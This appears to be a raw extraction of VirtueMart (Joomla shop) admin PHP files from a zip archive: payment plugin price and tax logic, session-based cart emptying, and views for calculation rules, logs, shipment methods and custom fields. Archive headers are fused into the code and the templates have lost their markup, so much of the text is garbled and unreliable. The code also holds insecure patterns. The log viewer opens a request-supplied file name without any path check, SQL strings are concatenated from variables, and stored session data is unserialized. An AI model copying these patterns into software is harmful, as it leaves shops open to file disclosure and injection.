$cartTotalAmount = ('.$cartTotalAmountOrig.' + '.$method->cost_per_transaction.') / (1 - ('.$method->cost_percent_total.' * 0.01)) = '.$cartTotalAmount ); vmdebug('Progressive $cartTotalAmount = '.($cartTotalAmountOrig + $method->cost_per_transaction) .' / '. (1 - $method->cost_percent_total * 0.01) .' = '.$cartTotalAmount ); } $cart_prices[$this->_psType . 'Value'] = $cartTotalAmount - $cartTotalAmountOrig; } $taxrules = array(); if(isset($method->tax_id) and (int)$method->tax_id === -1){ } else if (!empty($method->tax_id)) { $cart_prices[$this->_psType . '_calc_id'] = $method->tax_id; $db = JFactory::getDBO (); $q = 'SELECT * FROM #__virtuemart_calcs WHERE `virtuemart_calc_id`="' . $method->tax_id . '" '; $db->setQuery ($q); $taxrules = $db->loadAssocList (); if(!empty($taxrules) ){ foreach($taxrules as &$rule){ if(!isset($rule['subTotal'])) $rule['subTotal'] = 0; if(!isset($rule['taxAmount'])) $rule['taxAmount'] = 0; $rule['subTotalOld'] = $rule['subTotal']; $rule['taxAmountOld'] = $rule['taxAmount']; $rule['taxAmount'] = 0; $rule['subTotal'] = $cart_prices[$this->_psType . 'Value']; } } } else { $taxrules = array_merge($calculator->_cartData['VatTax'],$calculator->_cartData['taxRulesBill']); if(!empty($taxrules) ){ $denominator = 0.0; foreach($taxrules as &$rule){ //$rule['numerator'] = $rule['calc_value']/100.0 * $rule['subTotal']; if(!isset($rule['subTotal'])) $rule['subTotal'] = 0; if(!isset($rule['taxAmount'])) $rule['taxAmount'] = 0; $denominator += ($rule['subTotal']-$rule['taxAmount']); $rule['subTotalOld'] = $rule['subTotal']; $rule['subTotal'] = 0; $rule['taxAmountOld'] = $rule['taxAmount']; $rule['taxAmount'] = 0; //$rule['subTotal'] = $cart_prices[$this->_psType . 'Value']; } if(empty($denominator)){ $denominator = 1; } foreach($taxrules as &$rule){ $frac = ($rule['subTotalOld']-$rule['taxAmountOld'])/$denominator; $rule['subTotal'] = $cart_prices[$this->_psType . 'Value'] * $frac; vmdebug('Part $denominator '.$denominator.' $frac '.$frac,$rule['subTotal']); } } } if(empty($method->cost_per_transaction)) $method->cost_per_transaction = 0.0; if(empty($method->cost_percent_total)) $method->cost_percent_total = 0.0; if (count ($taxrules) > 0 ) { $cart_prices['salesPrice' . $_psType] = $calculator->roundInternal ($calculator->executeCalculation ($taxrules, $cart_prices[$this->_psType . 'Value'],true,false), 'salesPrice'); //vmdebug('I am in '.get_class($this).' and have this rules now',$taxrules,$cart_prices[$this->_psType . 'Value'],$cart_prices['salesPrice' . $_psType]); $cart_prices[$this->_psType . 'Tax'] = $calculator->roundInternal (($cart_prices['salesPrice' . $_psType] - $cart_prices[$this->_psType . 'Value']), 'salesPrice'); reset($taxrules); $taxrule = current($taxrules); $cart_prices[$this->_psType . '_calc_id'] = $taxrule['virtuemart_calc_id']; foreach($taxrules as &$rule){ if(isset($rule['subTotalOld'])) $rule['subTotal'] += $rule['subTotalOld']; if(isset($rule['taxAmountOld'])) $rule['taxAmount'] += $rule['taxAmountOld']; } } else { $cart_prices['salesPrice' . $_psType] = $cart_prices[$this->_psType . 'Value']; $cart_prices[$this->_psType . 'Tax'] = 0; $cart_prices[$this->_psType . '_calc_id'] = 0; } return $cart_prices['salesPrice' . $_psType]; } /** * calculateSalesPrice * * @param $value * @param $tax_id: tax id * @return $salesPrice */ protected function calculateSalesPrice ($cart, $method, $cart_prices) { return $this -> setCartPrices($cart,$cart_prices,$method); } public function processConfirmedOrderPaymentResponse ($returnValue, $cart, $order, $html, $payment_name, $new_status = '') { if ($returnValue == 1) { //We delete the old stuff // send the email only if payment has been accepted // update status $modelOrder = VmModel::getModel ('orders'); $order['order_status'] = $new_status; $order['customer_notified'] = 1; $order['comments'] = ''; $modelOrder->updateStatusForOneOrder ($order['details']['BT']->virtuemart_order_id, $order, TRUE); $order['paymentName'] = $payment_name; //if(!class_exists('shopFunctionsF')) require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); //shopFunctionsF::sentOrderConfirmedEmail($order); //We delete the old stuff $cart->emptyCart (); JRequest::setVar ('html', $html); // payment echos form, but cart should not be emptied, data is valid } elseif ($returnValue == 2) { $cart->_confirmDone = FALSE; $cart->_dataValidated = FALSE; $cart->setCartIntoSession (); JRequest::setVar ('html', $html); } elseif ($returnValue == 0) { // error while processing the payment $mainframe = JFactory::getApplication (); $mainframe->enqueueMessage ($html); $mainframe->redirect (JRoute::_ ('index.php?option=com_virtuemart&view=cart',FALSE), JText::_ ('COM_VIRTUEMART_CART_ORDERDONE_DATA_NOT_VALID')); } } /** * @param $amount * @param $currencyId * @return array */ static function getAmountInCurrency($amount, $currencyId){ if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } $return = array(); $paymentCurrency = CurrencyDisplay::getInstance($currencyId); $return['value'] = $paymentCurrency->roundForDisplay($amount,$currencyId,1.0,false,2); $return['display'] = $paymentCurrency->getFormattedCurrency($return['value']) ; return $return; } /** * @param $amount * @param $currencyId * @return array */ static function getAmountValueInCurrency($amount, $currencyId){ $return= vmPSPlugin::getAmountInCurrency($amount, $currencyId); return $return['value']; } function emptyCart ($session_id = NULL, $order_number = NULL) { if (!class_exists ('VirtueMartCart')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); } $this->logInfo ('Notification: emptyCart ' . $session_id, 'message'); if ($session_id != NULL and $order_number != NULL) { // Recover session from the storage session in wich the payment is done $this->emptyCartFromStorageSession ($session_id, $order_number); } else { $cart = VirtueMartCart::getCart (); $cart->emptyCart (); } return TRUE; } /* * recovers the session from Storage, and only empty the cart if it has not been done already */ function emptyCartFromStorageSession ($session_id, $order_number) { $conf = JFactory::getConfig (); $handler = $conf->get ('session_handler', 'none'); $config['session_name'] = 'site'; $name = Japplication::getHash ($config['session_name']); $options['name'] = $name; $sessionStorage = JSessionStorage::getInstance ($handler, $options); // The session store MUST be registered. $sessionStorage->register (); // reads directly the session from the storage $sessionStored = $sessionStorage->read ($session_id); if (empty($sessionStored)) { return; } $sessionStorageDecoded = self::session_decode ($sessionStored); $vm_namespace = '__vm'; $cart_name = 'vmcart'; if (array_key_exists ($vm_namespace, $sessionStorageDecoded)) { // vm session is there $vm_sessionStorage = $sessionStorageDecoded[$vm_namespace]; if (array_key_exists ($cart_name, $vm_sessionStorage)) { // vm cart session is there $sessionStorageCart = unserialize ($vm_sessionStorage[$cart_name]); // only empty the cart if the order number is still there. If not there, it means that the cart has already been emptied. if ($sessionStorageCart->order_number == $order_number) { if (!class_exists ('VirtueMartCart')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); } VirtueMartCart::emptyCartValues ($sessionStorageCart); $sessionStorageDecoded[$vm_namespace][$cart_name] = serialize ($sessionStorageCart); $sessionStorageEncoded = self::session_encode ($sessionStorageDecoded); $sessionStorage->write ($session_id, $sessionStorageEncoded); } } } } private static function session_decode ($session_data) { $decoded_session = array(); $offset = 0; while ($offset < strlen ($session_data)) { if (!strstr (substr ($session_data, $offset), "|")) { return array(); } $pos = strpos ($session_data, "|", $offset); $num = $pos - $offset; $varname = substr ($session_data, $offset, $num); $offset += $num + 1; $data = unserialize (substr ($session_data, $offset)); $decoded_session[$varname] = $data; $offset += strlen (serialize ($data)); } return $decoded_session; } private static function session_encode ($session_data_array) { $encoded_session = ""; foreach ($session_data_array as $key => $session_data) { $encoded_session .= $key . "|" . serialize ($session_data); } return $encoded_session; } /** * get_passkey * Retrieve the payment method-specific encryption key * * @author Oscar van Eijk * @author Valerie Isaksen * @return mixed * @deprecated */ function get_passkey () { return TRUE; $_db = JFactory::getDBO (); $_q = 'SELECT ' . VM_DECRYPT_FUNCTION . "(secret_key, '" . ENCODE_KEY . "') as passkey " . 'FROM #__virtuemart_paymentmethods ' . "WHERE virtuemart_paymentmethod_id='" . (int)$this->_virtuemart_paymentmethod_id . "'"; $_db->setQuery ($_q); $_r = $_db->loadAssoc (); // TODO Error check return $_r['passkey']; } /** * validateVendor * Check if this plugin has methods for the current vendor. * * @author Oscar van Eijk * @param integer $_vendorId The vendor ID taken from the cart. * @return True when a id was found for this vendor, false otherwise * * @deprecated ???? */ protected function validateVendor ($_vendorId) { if (!$_vendorId) { $_vendorId = 1; } $_db = JFactory::getDBO (); if (JVM_VERSION === 1) { $_q = 'SELECT 1 ' . 'FROM #__virtuemart_' . $this->_psType . 'methods v ' . ', #__plugins j ' . 'WHERE j.`element` = "' . $this->_name . '" ' . 'AND v.`' . $this->_psType . '_jplugin_id` = j.`id` ' . 'AND v.`virtuemart_vendor_id` = "' . $_vendorId . '" ' . 'AND v.`published` = 1 '; } else { $_q = 'SELECT 1 ' . 'FROM #__virtuemart_' . $this->_psType . 'methods AS v ' . ', #__extensions AS j ' . 'WHERE j.`folder` = "' . $this->_type . '" ' . 'AND j.`element` = "' . $this->_name . '" ' . 'AND v.`' . $this->_psType . '_jplugin_id` = j.`extension_id` ' . 'AND v.`virtuemart_vendor_id` = "' . $_vendorId . '" ' . 'AND v.`published` = 1 '; } $_db->setQuery ($_q); $_r = $_db->loadAssoc (); if ($_r) { return TRUE; } else { return FALSE; } } /** * @param integer $virtuemart_order_id the id of the order */ function handlePaymentUserCancel ($virtuemart_order_id) { if ($virtuemart_order_id) { // set the order to cancel , to handle the stock correctly if (!class_exists ('VirtueMartModelOrders')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orders.php'); } $modelOrder = VmModel::getModel ('orders'); $order['order_status'] = 'X'; $order['virtuemart_order_id'] = $virtuemart_order_id; $order['customer_notified'] = 0; $order['comments'] = JText::_ ('COM_VIRTUEMART_PAYMENT_CANCELLED_BY_SHOPPER'); $modelOrder->updateStatusForOneOrder ($virtuemart_order_id, $order, TRUE); //$modelOrder->remove (array('virtuemart_order_id' => $virtuemart_order_id)); } } /** * logInfo * to help debugging Payment notification for example * Keep it for compatibilty */ protected function logInfo ($text, $type = 'message', $doLog=false) { if (!class_exists( 'VmConfig' )) require(JPATH_COMPONENT_ADMINISTRATOR.DS.'helpers'.DS.'config.php'); VmConfig::loadConfig(); if ((isset($this->_debug) and $this->_debug) OR $doLog) { $oldLogFileName= VmConfig::$logFileName; VmConfig::$logFileName =$this->getLogFileName() ; logInfo($text, $type); VmConfig::$logFileName =$oldLogFileName; } } /** * */ function getLogFileName() { $name=$this->_idName; $methodId=0; if (isset ($this->_currentMethod) ) { $methodId=$this->_currentMethod->$name; } return $this->_name. '.'.$methodId ; } /** * log all messages of type ERROR * log in case the debug option is on, and the log option is on * @param string $message the message to write * @param string $title * @param string $type message, deb-ug, info, error * @param boolean $doDebug in payment notification, we don't want to use vmdebug even if the debug option is on * */ public function debugLog($message, $title='', $type = 'message', $doDebug=true) { if ( isset($this->_currentMethod) and isset($this->_currentMethod->debug) and $this->_currentMethod->debug AND $doDebug) { //vmdebug($title, $message); } if ( isset($this->_currentMethod) and !$this->_currentMethod->log and $type !='error') { //Do not log message messages if we are not in LOG mode return; } if ( $type == 'error') { $this->sendEmailToVendorAndAdmins(); } $this->logInfo($title.': '.print_r($message,true), $type, true); } } PK@y>\O9components/com_virtuemart/plugins/vmcalculationplugin.phpnuW+A_tablepkey = 'virtuemart_calc_id'; $this->_tablename = '#__virtuemart_calc_plg_'. $this->_name; } protected function getPluginInternalDataCalc(&$calcData){ $datas = $this->getPluginInternalData($calcData->virtuemart_calc_id,'virtuemart_calc_id'); if($datas){ $attribsCalc = get_object_vars($datas); unset($attribsCalc['virtuemart_calc_id']); foreach($attribsCalc as $k=>$v){ $calcData->$k = $v; } } } }PK@y>\6components/com_virtuemart/plugins/vmcurrencyplugin.phpnuW+A\ F))5components/com_virtuemart/plugins/vmshopperplugin.phpnuW+A\%:*ZZ2components/com_virtuemart/views/calc/view.html.phpnuW+AassignRef('perms', $perms); //@todo should be depended by loggedVendor $vendorId=1; $this->assignRef('vendorId', $vendorId); $db = JFactory::getDBO(); $this->SetViewTitle(); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $calc = $model->getCalc(); $this->assignRef('calc', $calc); $isNew = ($calc->virtuemart_calc_id < 1); if ($isNew) { $db = JFactory::getDBO(); //get default currency of the vendor, if not set get default of the shop $q = 'SELECT `vendor_currency` FROM `#__virtuemart_vendors` WHERE `virtuemart_vendor_id` = "'.$vendorId.'"'; $db->setQuery($q); $currency= $db->loadResult(); if(empty($currency)){ $q = 'SELECT `vendor_currency` FROM `#__virtuemart_vendors` WHERE `virtuemart_vendor_id` = "1" '; $db->setQuery($q); $currency= $db->loadResult(); $calc->calc_currency = $currency; } else { $calc->calc_currency = $currency; } } $entryPointsList = self::renderEntryPointsList($calc->calc_kind); $this->assignRef('entryPointsList',$entryPointsList); $mathOpList = self::renderMathOpList($calc->calc_value_mathop); $this->assignRef('mathOpList',$mathOpList); /* Get the category tree */ $categoryTree= null; if (isset($calc->calc_categories)){ $calc_categories = $calc->calc_categories; $categoryTree = ShopFunctions::categoryListTree($calc_categories); }else{ $categoryTree = ShopFunctions::categoryListTree(); } $this->assignRef('categoryTree', $categoryTree); $currencyModel = VmModel::getModel('currency'); $_currencies = $currencyModel->getCurrencies(); $this->assignRef('currencies', $_currencies); /* Get the shoppergroup tree */ $shopperGroupList= ShopFunctions::renderShopperGroupList($calc->virtuemart_shoppergroup_ids,True); $this->assignRef('shopperGroupList', $shopperGroupList); $countriesList = ShopFunctions::renderCountryList($calc->calc_countries,True); $this->assignRef('countriesList', $countriesList); $statesList = ShopFunctions::renderStateList($calc->virtuemart_state_ids,'', True); $this->assignRef('statesList', $statesList); $manufacturerList= ShopFunctions::renderManufacturerList($calc->virtuemart_manufacturers,true); $this->assignRef('manufacturerList', $manufacturerList); if(Vmconfig::get('multix','none')!=='none'){ $vendorList= ShopFunctions::renderVendorList($calc->virtuemart_vendor_id,false); $this->assignRef('vendorList', $vendorList); } $this->addStandardEditViewCommands(); } else { if((Vmconfig::get('multix','none')!='none') && $this->perms->check( 'admin' )){ JToolBarHelper::custom('toggle.shared.1', 'publish', 'yes', JText::_('COM_VIRTUEMART_SHARED_TOGGLE_ON'), true); JToolBarHelper::custom('toggle.shared.0', 'unpublish', 'no', JText::_('COM_VIRTUEMART_SHARED_TOGGLE_OFF'), true); } $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $search = JRequest::getWord('search', false); $calcs = $model->getCalcs(false, false, $search); $this->assignRef('calcs', $calcs); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } /** * Builds a list to choose the Entrypoints * When you want to add extra Entrypoints, look in helpers/calculationh.php for mor information * * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $selected the selected values, may be single data or array * @return $list list of the Entrypoints */ function renderEntryPointsList($selected){ //MathOp array $entryPoints = array( '0' => array('calc_kind' => 'Marge', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_PMARGIN')), '1' => array('calc_kind' => 'DBTax', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_DBTAX')), '2' => array('calc_kind' => 'Tax', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_TAX')), '3' => array('calc_kind' => 'VatTax', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_VATTAX')), '4' => array('calc_kind' => 'DATax', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_DATAX')), '5' => array('calc_kind' => 'DBTaxBill', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_DBTAXBILL')), '6' => array('calc_kind' => 'TaxBill', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_TAXBILL')), '7' => array('calc_kind' => 'DATaxBill', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_DATAXBILL')), ); $listHTML = JHTML::_('Select.genericlist', $entryPoints, 'calc_kind', '', 'calc_kind', 'calc_kind_name', $selected ); return $listHTML; } /** * Builds a list to choose the mathematical operations * When you want to add extra operations, look in helpers/calculationh.php for more information * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $selected the selected values, may be single data or array * @return $list list of the Entrypoints */ function renderMathOpList($selected){ //MathOp array $mathOps = array( '0' => array('calc_value_mathop' => '+', 'calc_value_mathop_name' => '+'), '1' => array('calc_value_mathop' => '-', 'calc_value_mathop_name' => '-'), '2' => array('calc_value_mathop' => '+%', 'calc_value_mathop_name' => '+%'), '3' => array('calc_value_mathop' => '-%', 'calc_value_mathop_name' => '-%') ); if (!class_exists('vmCalculationPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmcalculationplugin.php'); JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $answer = $dispatcher->trigger('plgVmAddMathOp', array(&$mathOps)); $listHTML = JHTML::_('Select.genericlist', $mathOps, 'calc_value_mathop', '', 'calc_value_mathop', 'calc_value_mathop_name', $selected ); return $listHTML; } } // pure php no closing tagPK@y>\).components/com_virtuemart/views/calc/.htaccessnuW+A Order allow,deny Deny from all PK@y>\_.VV7components/com_virtuemart/views/calc/tmpl/edit_calc.phpnuW+Atrigger('plgVmOnDisplayEdit', array('vmcalculation' , $html)); // print_r( $returnValues ); // vmdebug('pluginstuff',$returnValues); ?>
      calc->calc_name); ?> calc->published); ?> perms->check('admin') ){ echo VmHTML::row('checkbox','COM_VIRTUEMART_SHARED', 'shared', $this->calc->shared ); } ?> calc->ordering,'class="inputbox"','',4,4); ?> calc->calc_descr,'class="inputbox"','',70,255); ?> entryPointsList ); ?> mathOpList ); ?> calc->calc_value); ?> currencies ,$this->calc->calc_currency,'','virtuemart_currency_id', 'currency_name',false) ; ?> shopperGroupList ); ?> countriesList ); ?> statesList ); ?> manufacturerList ); /* Mod. St.Kraft 2013-02-24 Herstellerrabatt */ ?> calc->calc_shopper_published); ?> calc->calc_vendor_published); ?> calc->publish_up, 'publish_up') ); ?> calc->publish_down, 'publish_down') ); ?>
      trigger('plgVmOnDisplayEdit', array(&$this->calc,&$html)); echo $html; if(Vmconfig::get('multix','none')!=='none' and $this->perms->check('admin') ){ echo VmHTML::row('raw','COM_VIRTUEMART_VENDOR', $this->vendorList ); } ?>
      addStandardHiddenToForm(); ?>
      PK@y>\J..5components/com_virtuemart/views/calc/tmpl/default.phpnuW+A

      perms->check( 'admin' )){ ?> */ ?> */ ?> perms->check( 'admin' )){ ?> */ ?> calcs ); $i < $n; $i++) { $row = $this->calcs[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_calc_id); $published = JHTML::_('grid.published', $row, $i); $shared = $this->toggle($row->shared, $i, 'toggle.shared'); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=calc&task=edit&cid[]=' . $row->virtuemart_calc_id); ?> "> perms->check( 'admin' )){ ?> calc_shopper_published ? 'tick.png' : 'publish_x.png')); ?> */ ?> calc_amount_cond; ?> */ ?>
      sort('calc_name', 'COM_VIRTUEMART_NAME') ; ?> sort('calc_descr' , 'COM_VIRTUEMART_DESCRIPTION'); ?> sort('ordering') ; ?> sort('calc_kind') ; ?> sort('calc_value' , 'COM_VIRTUEMART_VALUE'); ?> sort('calc_currency' , 'COM_VIRTUEMART_CURRENCY'); ?> St.Kraft 2013-02-24 ?> sort('publish_up' , 'COM_VIRTUEMART_START_DATE'); ?> sort('publish_down' , 'COM_VIRTUEMART_END_DATE'); ?> sort('virtuemart_calc_id', 'COM_VIRTUEMART_ID') ?>
      calc_name; ?> virtuemart_vendor_id; ?> calc_descr; ?> ordering; ?> calc_kind; ?> calc_value_mathop; ?> calc_value; ?> currencyName; ?> calcCategoriesList; ?> calcManufacturersList; /* Mod. St.Kraft 2013-02-24 Herstellerrabatt */ ?> calcShoppersList; ?> calc_vendor_published ? 'tick.png' : 'publish_x.png')); ?> publish_up, 'LC4',true); ?> publish_down, 'LC4',true); ?> calc_amount_dimunit); ?> calcCountriesList); ?> calcStatesList); ?> virtuemart_calc_id; ?>
      pagination->getListFooter(); ?>
      addStandardHiddenToForm(); ?>
      PK@y>\)3components/com_virtuemart/views/calc/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\i2components/com_virtuemart/views/calc/tmpl/edit.phpnuW+A\4components/com_virtuemart/views/calc/tmpl/index.htmlnuW+APK@y>\/components/com_virtuemart/views/calc/index.htmlnuW+APK@y>\)-components/com_virtuemart/views/log/.htaccessnuW+A Order allow,deny Deny from all PK@y>\:؆1components/com_virtuemart/views/log/tmpl/edit.phpnuW+A
      	
        fileContentByLine as $line) echo "
      1. ".str_replace(array("
        ","
        "),"",$line)."
      2. "; ?>
        
        PK@y>\3components/com_virtuemart/views/log/tmpl/index.htmlnuW+APK@y>\)2components/com_virtuemart/views/log/tmpl/.htaccessnuW+A
        Order allow,deny
        Deny from all
        PK@y>\Ci		4components/com_virtuemart/views/log/tmpl/default.phpnuW+A
        		logFiles) {
        			foreach ($this->logFiles as $logFile ) {
        				$addLink=false;
        				$fileSize = filesize($this->path.DS.$logFile);
        				$fileInfo= $finfo?$finfo->file($this->path.DS.$logFile):0;
        				$fileInfoMime=substr($fileInfo, 0 ,strlen("text/plain"));
        				if (!$finfo or strcmp("text/plain", $fileInfoMime)==0) {
        					$addLink=true;
        				}
        				?>
        				
        0 and $addLink) { ?> 0) { ?>
        addStandardHiddenToForm(); AdminUIHelper::endAdminArea(); ?> PK@y>\IB1components/com_virtuemart/views/log/view.html.phpnuW+Aget('log_path', JPATH_ROOT . "/log"); $layoutName = JRequest::getWord('layout', 'default'); VmConfig::loadJLang('com_virtuemart_log'); if ($layoutName == 'edit') { $logFile = JRequest::getString('logfile', ''); $this->SetViewTitle('LOG', $logFile); $fileContent = file_get_contents($log_path . DS . $logFile); $fileContentByLine = explode("\n", $fileContent); $this->assignRef('fileContentByLine', $fileContentByLine); JToolBarHelper::cancel(); } else { $logFiles = JFolder::files($log_path, $filter = '.', true, false, array('index.html')); $this->SetViewTitle('LOG'); $this->assignRef('logFiles', $logFiles); $this->assignRef('path', $log_path); } parent::display($tpl); } } //No Closing Tag PK@y>\.components/com_virtuemart/views/log/index.htmlnuW+APK@y>\>components/com_virtuemart/views/shipmentmethod/tmpl/index.htmlnuW+APK@y>\XAcomponents/com_virtuemart/views/shipmentmethod/tmpl/edit_edit.phpnuW+A langList; ?>
        shipment->shipment_name); ?> shipment->slug); ?> shipment->published); ?> shipment->shipment_desc); ?> pluginList); ?> shopperGroupList); ?> shipment->ordering, 'class="inputbox"', '', 4, 4); ?> vendorList); } ?>
        PK@y>\<%Ccomponents/com_virtuemart/views/shipmentmethod/tmpl/edit_config.phpnuW+Ashipment->shipment_name) { $parameters = new vmParameters($this->shipment, $this->shipment->shipment_element, 'plugin', 'vmshipment'); echo $rendered = $parameters->render(); } else { echo JText::_('COM_VIRTUEMART_SELECT_SHIPPING_METHOD'); } /* */ PK@y>\F/ kw w ?components/com_virtuemart/views/shipmentmethod/tmpl/default.phpnuW+A
        shipments ); $i < $n; $i++) { $row = $this->shipments[$i]; $published = JHTML::_('grid.published', $row, $i ); /** * @todo Add to database layout published column */ $row->published = 1; $checked = JHTML::_('grid.id', $i, $row->virtuemart_shipmentmethod_id); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=shipmentmethod&task=edit&cid[]=' . $row->virtuemart_shipmentmethod_id); ?>
        sort('shipment_name', 'COM_VIRTUEMART_SHIPMENT_NAME_LBL'); ?> sort('shipment_element', 'COM_VIRTUEMART_SHIPMENTMETHOD'); ?> sort('ordering', 'COM_VIRTUEMART_LIST_ORDER'); ?> sort('published', 'COM_VIRTUEMART_PUBLISHED'); ?> sort('virtuemart_shipmentmethod_id', 'COM_VIRTUEMART_ID') ?>
        shipment_name)); ?> shipment_desc; ?> shipmentShoppersList; ?> shipment_element; //JHTML::_('link', $editlink, JText::_($row->shipment_element)); ?> ordering); ?> virtuemart_shipmentmethod_id; ?>
        pagination->getListFooter(); ?>
        addStandardHiddenToForm(); ?>
        PK@y>\<components/com_virtuemart/views/shipmentmethod/tmpl/edit.phpnuW+A
        shipment->virtuemart_shipmentmethod_id ); // Loading Templates in Tabs END ?> addStandardHiddenToForm(); ?>
        PK@y>\)=components/com_virtuemart/views/shipmentmethod/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)8components/com_virtuemart/views/shipmentmethod/.htaccessnuW+A Order allow,deny Deny from all PK@y>\fUߙ<components/com_virtuemart/views/shipmentmethod/view.html.phpnuW+AaddHelperPath(JPATH_VM_ADMINISTRATOR.DS.'helpers'); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); $model = VmModel::getModel(); $layoutName = JRequest::getWord('layout', 'default'); $this->SetViewTitle(); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $shipment = $model->getShipment(); if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); if (!class_exists('vmParameters')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'parameterparser.php'); if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $vendor_id = 1; $currency=VirtueMartModelVendor::getVendorCurrency ($vendor_id); $this->assignRef('vendor_currency', $currency->currency_symbol); if(Vmconfig::get('multix','none')!=='none'){ $vendorList= ShopFunctions::renderVendorList($shipment->virtuemart_vendor_id); $this->assignRef('vendorList', $vendorList); } $this->assignRef('pluginList', self::renderInstalledShipmentPlugins($shipment->shipment_jplugin_id)); $this->assignRef('shipment', $shipment); $this->assignRef('shopperGroupList', ShopFunctions::renderShopperGroupList($shipment->virtuemart_shoppergroup_ids,true)); $this->addStandardEditViewCommands($shipment->virtuemart_shipmentmethod_id); } else { JToolBarHelper::custom('cloneshipment', 'copy', 'copy', JText::_('COM_VIRTUEMART_SHIPMENT_CLONE'), true); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $shipments = $model->getShipments(); $this->assignRef('shipments', $shipments); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } function renderInstalledShipmentPlugins($selected) { $db = JFactory::getDBO(); if (JVM_VERSION===1) { $table = '#__plugins'; $enable = 'published'; $ext_id = 'id'; } else { $table = '#__extensions'; $enable = 'enabled'; $ext_id = 'extension_id'; } $q = 'SELECT * FROM `'.$table.'` WHERE `folder` = "vmshipment" AND `state`="0" ORDER BY `ordering`,`name` ASC'; $db->setQuery($q); $result = $db->loadAssocList($ext_id); if(empty($result)){ $app = JFactory::getApplication(); $app -> enqueueMessage(JText::_('COM_VIRTUEMART_NO_SHIPMENT_PLUGINS_INSTALLED')); } foreach ($result as &$sh) { $sh['name'] = JText::_($sh['name']); } $attribs='style= "width: 300px;"'; return JHtml::_('select.genericlist', $result, 'shipment_jplugin_id', $attribs, $ext_id, 'name', $selected); } } // pure php no closing tag PK@y>\9components/com_virtuemart/views/shipmentmethod/index.htmlnuW+APK@y>\#o,,1components/com_virtuemart/views/custom/index.htmlnuW+APK@y>\n 4components/com_virtuemart/views/custom/view.json.phpnuW+AsetQuery( $query ); $json = $db->loadObject(); if (isset($json->file_url)) { $json->file_url = JURI::root().$json->file_url; $json->msg = 'OK'; echo json_encode($json); } else { $json->msg = ''.JText::_('COM_VIRTUEMART_NO_IMAGE_SET').''; echo json_encode($json); } } elseif ( $custom_jplugin_id = JRequest::getInt('custom_jplugin_id') ) { if (JVM_VERSION===1) { $table = '#__plugins'; $ext_id = 'id'; } else { $table = '#__extensions'; $ext_id = 'extension_id'; } $q = 'SELECT `params`,`element` FROM `' . $table . '` WHERE `' . $ext_id . '` = "'.$custom_jplugin_id.'"'; $db ->setQuery($q); $this->plugin = $db ->loadObject(); if (!class_exists('vmParameters')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'parameterparser.php'); $parameters = new vmParameters($this->plugin->params, $this->plugin->element , 'plugin' ,'vmcustom'); if (!class_exists('vmPlugin')) require(JPATH_VM_ADMINISTRATOR . DS . 'plugins' . DS . 'vmplugin.php'); $filename = 'plg_vmcustom_' . $this->plugin->element; vmPlugin::loadJLang($filename,'vmcustom',$this->plugin->element); echo $parameters->render(); echo ''; jExit(); } jExit(); } } // pure php no closing tag PK@y>\)0components/com_virtuemart/views/custom/.htaccessnuW+A Order allow,deny Deny from all PK@y>\|5 5 4components/com_virtuemart/views/custom/tmpl/edit.phpnuW+A
        customfields->addHidden('view', 'custom'); $this->customfields->addHidden('task', ''); $this->customfields->addHidden(JUtility::getToken(), 1); //if ($this->custom->custom_parent_id) $this->customfields->addHidden('custom_parent_id',$this->custom->custom_parent_id); $attribute_id = JRequest::getVar('attribute_id', ''); if (!empty($attribute_id)) $this->customfields->addHidden('attribute_id', $attribute_id); ?> customfields->displayCustomFields($this->custom); ?>
        pluginList ?>
        customPlugin)) { ?> customPlugin, $this->customPlugin->custom_element, 'plugin', 'vmcustom'); echo $rendered = $parameters->render(); ?>
        customPlugin->custom_jplugin_id)) { ?>
        PK@y>\Ȟ7components/com_virtuemart/views/custom/tmpl/default.phpnuW+A
